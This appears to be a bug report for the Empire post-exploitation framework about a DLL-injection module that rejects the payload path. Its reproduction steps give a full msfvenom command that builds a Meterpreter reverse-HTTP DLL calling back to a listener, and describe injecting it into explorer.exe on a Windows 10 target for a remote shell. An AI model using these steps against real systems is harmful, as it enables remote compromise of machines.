Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
Empire Version
Empire 4.1.2
OS Information (Linux flavor, Python version)
OS: kali
Python: 3.9
Describe the bug
powershell/code_execution/invoke_dllinjection module does not accept .dll filename or path. Therefore when the module is executed, it produces the error "[!] error running command: Invalid Dll path!" and the injection fails.
To Reproduce
Steps to reproduce the behavior:
establish session on Windows 10 target using http listener via .bat stager
switch to /tmp directory create windows meterpreter reverse http payload in .dll format using msfvenom -- msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.119.168 LPORT=5555 -f dll -o met.dll
identify 'explorer.exe' processid on Windows 10 target using 'ps'
set agent and processid. then enter the path to the .dll meterpreter payload -- /tmp/met.dll
execute -- notice the error message
Expected behavior
No error message should be produced and the .dll should be injected into explorer.exe in the Windows 10 target while also sending a shell to the multi/handler in msfconsole
I believe this module requires the path of the dll on the target box. We are looking to convert all these to executing from purely memory in the future.
Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.
Empire Version
OS Information (Linux flavor, Python version)
Describe the bug
powershell/code_execution/invoke_dllinjection module does not accept .dll filename or path. Therefore when the module is executed, it produces the error "[!] error running command: Invalid Dll path!" and the injection fails.
To Reproduce
Steps to reproduce the behavior:
Expected behavior
No error message should be produced and the .dll should be injected into explorer.exe in the Windows 10 target while also sending a shell to the multi/handler in msfconsole
Screenshots
Additional context
Add any other context about the problem here